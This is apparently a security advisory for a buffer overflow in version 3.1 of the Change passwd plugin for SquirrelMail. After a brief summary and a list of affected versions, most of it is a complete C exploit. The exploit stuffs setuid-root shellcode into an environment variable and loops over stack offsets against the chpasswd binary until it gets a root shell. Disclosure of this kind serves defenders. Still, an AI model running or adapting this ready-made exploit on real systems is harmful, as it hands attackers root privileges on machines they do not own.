Summary
"SquirrelMail is a standards-based webmail package written in PHP4." "Change Passwrdplugins allow your users to change his/her system password in /etc/passwd or /etc/shadow. "

Improper length validation of variables allows attackers to execute arbitrary code using a buffer overflows in SquirrelMail's change passwd plugins.

Credit:
The information has been provided by rod hedor.

Details
Vulnerable Systems:
* Change passwd version 3.1

Immune Systems:
* Change passwd version 4.0

Exploit:
/* Local Exploit
* Multiple
buffer overflows are present in the handling of command line
arguements in chpasswd.
The bug allows a
hacker to exploit the process to run arbitrary code. */

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
"\x89\xe5\x31\xc0\x50\x55\x89\xe5"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x89\xe9\x89"
"\xea\xb0\x0b\xcd\x80";

long get_sp(){
__asm__("movl %esp,%eax;");
};

int main(){
char buffer[1024];
long stack = get_sp();
int result = 1;
long offset = 0;
printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
printf ("[+] Current stack [0x%x]\n",stack);
while(offset <= 268435456){
offset = offset + 1;
stack = get_sp() + offset;
memcpy(&buffer,"EGG=",4);
int a = 4;
while(a <= 108){
memcpy(&buffer[a],"x",1);
a = a + 1;}
memcpy(&buffer[108],&stack,4);
memcpy(&buffer[112],&shellcode,sizeof(shellcode));
putenv(buffer);
result = system("./chpasswd $EGG");
if(result == 0){exit(0);};
};
};